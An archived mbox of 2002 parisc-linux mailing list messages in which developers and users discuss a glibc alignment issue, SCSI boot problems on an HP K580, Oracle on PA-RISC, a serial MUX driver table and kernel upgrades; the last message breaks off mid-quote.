NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 25 18:54:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 972024834
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 18:54:00 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A1F4BCD294; Sun, 25 Aug 2002 17:55:57 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15903

glibc's sunrpc/clnt_tcp.c contains code like this:

      *(u_long *)(ct->ct_mcall + 3 * BYTES_PER_XDR_UNIT)
              = htonl(*(u_long *)info);

ct->ct_mcall is a char[] array that's after a struct,
BYTES_PER_XDR_UNIT is 4

if sizeof(u_long) is 8, then this is an unaligned access... (gcc notices
and complains loudly :-)

this code apparently works on other 64-bit archs.... anyone know how?

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve.Grady@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] SCSI Disks on a K580 Help Required
Date: Mon, 26 Aug 2002 11:03:18 +1000
Lines: 162
Approved: news@gmane.org
Message-ID: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC4@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621648 12914 80.91.229.3 (22 Nov 2014 02:00:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: a_eisner@eisner.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 25 19:03:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crux.tip.CSIRO.AU (crux.tip.CSIRO.AU [130.155.194.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A5324879
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 19:03:32 -0600 (MDT)
Original-Received: (from daemon@localhost)
	by crux.tip.CSIRO.AU (8.9.3/8.9.3/TIPAT-1.2a) id LAA11271;
	Mon, 26 Aug 2002 11:03:26 +1000 (EST)
Original-Received: from wing-ep.tip.CSIRO.AU(130.155.192.114)
 via SMTP by crux.tip.CSIRO.AU, id smtpdAAAa11266; Mon Aug 26 11:03:19 2002
Original-Received: by wing-ep.tip.csiro.au with Internet Mail Service (5.5.2656.59)
	id <P6G5RB9C>; Mon, 26 Aug 2002 11:03:19 +1000
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15904


> -----Original Message-----
> From: Averell Eisner [mailto:a_eisner@eisner.com]
> Sent: Monday, 26 August 2002 8:27 AM
> To: Steve.Grady@csiro.au
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] SCSI Disks on a K580 Help Required
> 
> 
> Possible issues:
> 
> "First try." The internal disk drives in the K580 are fast wide 
> differential. The differential is high voltage differential, not low 
> voltage differential. Could be that the Maxtor 4.5GB UW is 
> the wrong type.


Well I hope I have not damaged the drive


> 
> "Second try." The normal cable in the K580 that goes to the 
> tape and CD 
> only has two open scsi connections plus the terminator. One 
> connection 
> for tape, another for the CD. Did you substitute another cable with a 
> third open scsi connection?


Yes I substituted another cable (It did not come with any cables, they were
removed with the drive)
It was properly terminated by an external terminator. As I said after boot
from the CD a drive on the
single ended bus was detected ( and the CD and Tape) by the kernel but was
not detected by boot.

It has been suggested by someone else (they did not reply to list) that I
boot from CD which seems to me
the easiest work-around.

Thank for the assistance,


Steve Grady

> 
> Just guessing.
> 
> Averell
> Steve.Grady@csiro.au wrote:
> 
> > Hi,
> > 
> > I got my hands on a K580 Quad processors, 4G Ram, CD, DDS3 
> Tape drive,
> > 2 Fibre Channels on HSC, Dual 100BaseT network connectors on HSC,
> > FW SCSI on HSC and 2 SCSI interface on HPPB (OK I know the 
> HPPB is not
> > supported)
> > but no hard disks.
> > 
> > Previously I have installed PA-Linux on a 735/125.
> > 
> > I am trying to install 
> palinux-2.4.18-pa59-ppc-20020728-netinstall image on
> > the K580
> > I am using a variety of SCSI disks I am trying to install 
> to but I am having
> > problems.
> > 
> > The disks are being installed internally on the K580. I 
> have downloaded the
> > users guide
> > from docs.hp.com.
> > 
> > First Try
> > 
> > I installed Tape and CD to Single ended bus of the Disk 
> cage and install a
> > Maxtor Altas II
> > 4.5G UW to ultra wide bus of Disk Cage and yes the cable 
> was terminated.
> > 
> > The boot process found the CD, DDS3 but not the disk. I 
> could boot from CD
> > but the installer 
> > complained about on disk.
> > 
> > Second Try
> > 
> > I installed Tape and CD to Single ended bus of the Disk 
> cage and install a
> > Seagate
> > 2.1G SE to SE bus of Disk Cage in parallel with the CD and Tape.
> > 
> > The boot process found the CD, DDS3 but not the disk. I 
> could boot from CD
> > but the installer 
> > found the disk CD and Tape. I installed to disk and at 
> reboot boot could not
> > find the disk
> > only the tape and the CD.
> > 
> > All other trys
> > 
> > I have tried various combinations but have not succeed in 
> get the boot to
> > recognised the
> > hard disk. I cannot get Pa-linux to recognised the Ultra 
> Wide bus which
> > leaves me to question
> > whether it is supported or do I have a hardware problem.
> > 
> > The Boot reports through its Search for Boot devices 
> function that it finds
> > 
> > The 2 FC devices
> > the Lan (which I assume is the 10BaseT on the Core IO not 
> the 100BaseT)
> > a sequential device (Tape Drive)
> > a random device (CD)
> > 
> > The primary boot device at present seems to me to be set up 
> for the Fibre
> > Channel
> > (I think the I am not used to the addressing).
> > 
> > I have thought of Rboot or tftboot the K580 from the 
> 735 and then the
> > kernel will
> > recognise the disk. But this is not useful in the long 
> term as I may get
> > rid of the 735
> > and my Intel box which is my main server as I want to make 
> the K580 my main
> > server.
> > 
> > Any help or suggestions would be appreciated,
> > 
> > 
> > Steve Grady
> > 
> > BTW Thanks for a great port my little 735 just sits there 
> and works (mostly
> > running SETI)
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> > 
> 
> 
> -- 
> Averell
> 
> Eisner Associates, Inc.			Phone: 908-233-6585
> 516 North Ave. East			FAX:   908-233-0710
> P.O. Box 2489
> Westfield, NJ 07090
> 


From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] questionable code in glibc sunrpc code?
Date: Sun, 25 Aug 2002 22:50:33 -0400 (EDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <200208260250.g7Q2oXEf013275@hiauly1.hia.nrc.ca>
References: <20020826005557.GG25592@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621648 12916 80.91.229.3 (22 Nov 2014 02:00:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 25 20:50:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1E3E482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 20:50:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g7Q2oY00013276
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 22:50:35 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g7Q2oXEf013275;
	Sun, 25 Aug 2002 22:50:33 -0400 (EDT)
In-Reply-To: <20020826005557.GG25592@tausq.org> from "Randolph Chung" at Aug 25, 2002 05:55:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15905

> this code apparently works on other 64-bit archs.... anyone know how?

They may not require strict alignment.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Boniface <eric_boniface@non.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oracle 9i on PARISC-LINUX
Date: Mon, 26 Aug 2002 10:41:59 +0200
Lines: 98
Approved: news@gmane.org
Message-ID: <3D69E9D7.7000903@non.hp.com>
References: <200208201049.AA167248046@intercommerce.com.br> <20020820141813.GB4865@systemhalted> <20020820142315.GI13589@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------030909010100040103040703"
X-Trace: ger.gmane.org 1416621648 12919 80.91.229.3 (22 Nov 2014 02:00:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 02:42:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43C02482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 02:42:04 -0600 (MDT)
Original-Received: from non.hp.com (dhcp-15-204-141-53.grenoble.hp.com [15.204.141.53])
	by gremg1.net.external.hp.com (Postfix) with ESMTP id 0BAC41C3
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 10:41:55 +0200 (METDST)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0rc2) Gecko/20020618 Netscape/7.0b1
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15906

--------------030909010100040103040703
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi,
I thought that PA-Linux can run PA-RISC/HPUX binaries...if so, then you 
can run Oracle9i for HPUX11, don't you ?

Rgds,
Eric.

Ralf Hildebrandt wrote:

>On Tue, Aug 20, 2002 at 10:18:13AM -0400, Carlos O'Donell wrote:
>
>  
>
>>apt-get install oracle-9i
>>Reading Package Lists... Done
>>Building Dependency Tree... Done
>>E: Couldn't find package oracle-9i
>>    
>>
>
>The correct approach would be to use 
>
>apt-cache search oracle
>
>  
>

-- 
Eric Boniface - Hewlett Packard / HPS-IT Infrastructure Team Grenoble 
Tel.(+33) 4 76 14 30 17 / Telnet : 779-3017
E-mail : eric_boniface@non.hp.com 
--- Want to know more about Linux on HP PARISC ? Take a look at http://www.parisc-linux.org







--------------030909010100040103040703
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
  <title></title>
</head>
<body>
Hi,<br>
I thought that PA-Linux can run PA-RISC/HPUX binaries...if so, then you can
run Oracle9i for HPUX11, don't you ? <br>
<br>
Rgds,<br>
Eric.<br>
<br>
Ralf Hildebrandt wrote:<br>
<blockquote type="cite" cite="mid20020820142315.GI13589@charite.de">
  <pre wrap="">On Tue, Aug 20, 2002 at 10:18:13AM -0400, Carlos O'Donell wrote:

  </pre>
  <blockquote type="cite">
    <pre wrap="">apt-get install oracle-9i
Reading Package Lists... Done
Building Dependency Tree... Done
E: Couldn't find package oracle-9i
    </pre>
  </blockquote>
  <pre wrap=""><!---->
The correct approach would be to use 

apt-cache search oracle

  </pre>
</blockquote>
<br>
<pre class="moz-signature" cols="$mailwrapcol">-- 
Eric Boniface - Hewlett Packard / HPS-IT Infrastructure Team Grenoble 
Tel.(+33) 4 76 14 30 17 / Telnet : 779-3017
E-mail : <a class="moz-txt-link-abbreviated" href="mailto:eric_boniface@non.hp.com">eric_boniface@non.hp.com</a> 
--- Want to know more about Linux on HP PARISC ? Take a look at <a class="moz-txt-link-freetext" href="http://www.parisc-linux.org">http://www.parisc-linux.org</a>




</pre>
<br>
</body>
</html>

--------------030909010100040103040703--



From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oracle 9i on PARISC-LINUX
Date: Mon, 26 Aug 2002 10:57:34 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20020826085640.GL22754@charite.de>
References: <200208201049.AA167248046@intercommerce.com.br> <20020820141813.GB4865@systemhalted> <20020820142315.GI13589@charite.de> <3D69E9D7.7000903@non.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621649 12922 80.91.229.3 (22 Nov 2014 02:00:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Eric Boniface <eric_boniface@non.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 02:57:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with SMTP id 659A4482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 02:57:54 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id E999D15C01A; Mon, 26 Aug 2002 10:57:51 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id B8D36635BB; Mon, 26 Aug 2002 10:57:51 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3D69E9D7.7000903@non.hp.com>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15907

On Mon, Aug 26, 2002 at 10:41:59AM +0200, Eric Boniface wrote:
> Hi,
> I thought that PA-Linux can run PA-RISC/HPUX binaries...if so, then you 
> can run Oracle9i for HPUX11, don't you ?

I think this binary compatability support is rather limited.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
The secret of flying is simple: Throw yourself at the ground and miss.



From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] Serial MUX driver update.
Date: Mon, 26 Aug 2002 12:53:42 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20020826125342.B6931@parcelfarce.linux.theplanet.co.uk>
References: <1030332635.19524.5.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621649 12928 80.91.229.3 (22 Nov 2014 02:00:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 05:53:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BFF6482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 05:53:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17jIRC-00018a-00; Mon, 26 Aug 2002 12:53:42 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1030332635.19524.5.camel@beavis>; from rbradetich@uswest.net on Sun, Aug 25, 2002 at 09:30:35PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15908

On Sun, Aug 25, 2002 at 09:30:35PM -0600, Ryan Bradetich wrote:
> Update to the serial mux driver.
>  static struct parisc_device_id mux_tbl[] = {
>  	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, 0x015, 0x0000D }, /* Eole CAP/MUX */
> +	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, 0x044, 0x0000D }, /* Sahp Baat Kiuh AP/MUX */
>  	{ 0, }
>  };

May I suggest:

static struct parisc_device_id mux_tbl[] = {
	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0000D }, 
	{ 0, }
};

since this driver should work for all MUXes, not just Eole & SBK.

By and large, everyone should have HVERSION_ANY_ID in their
parisc_device_id tables.  There's some exceptions (ccio, astro, elroy,
dino, serial), but most drivers shouldn't need to discriminate on
hversion.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Schmitt <chris.81@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Woody and new kernel
Date: Mon, 26 Aug 2002 14:29:05 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <3D6A1F11.1050609@gmx.de>
Reply-To: christian@familieschmitt.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621649 12934 80.91.229.3 (22 Nov 2014 02:00:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 06:43:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 090CD482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 06:43:33 -0600 (MDT)
Original-Received: (qmail 7855 invoked by uid 0); 26 Aug 2002 12:43:30 -0000
Original-Received: from unknown (HELO gmx.de) (149.225.178.158)
  by mail.gmx.net (mp011-rz3) with SMTP; 26 Aug 2002 12:43:30 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: de, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15909

Hi,

i am using a 710 here (quite old, but interesting) with Woody installed. Since 
it has the 2.4.17-32 kernel supplied, I would like to update it to 2.4.19. I 
downloaded the vanilla kernel sources but it does not compile with the 
gcc-3.0.4. Do I have to use the special -pa kernel from cvs or should it also 
work with the normal kernel sources? The main reason for this update is to get 
the HIL mouse working.

Chris

-- 
Linux - Cause life is too short for reboots




From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Woody and new kernel
Date: Mon, 26 Aug 2002 09:11:34 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20020826131134.GD30545@systemhalted>
References: <3D6A1F11.1050609@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621650 12939 80.91.229.3 (22 Nov 2014 02:00:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: christian@familieschmitt.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 07:13:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 727ED482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 07:13:55 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17jJeY-00086p-00; Mon, 26 Aug 2002 09:11:34 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	christian@familieschmitt.de, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3D6A1F11.1050609@gmx.de>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (75% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15910

> Hi,
> 
> i am using a 710 here (quite old, but interesting) with Woody installed. 
> Since it has the 2.4.17-32 kernel supplied, I would like to update it to 
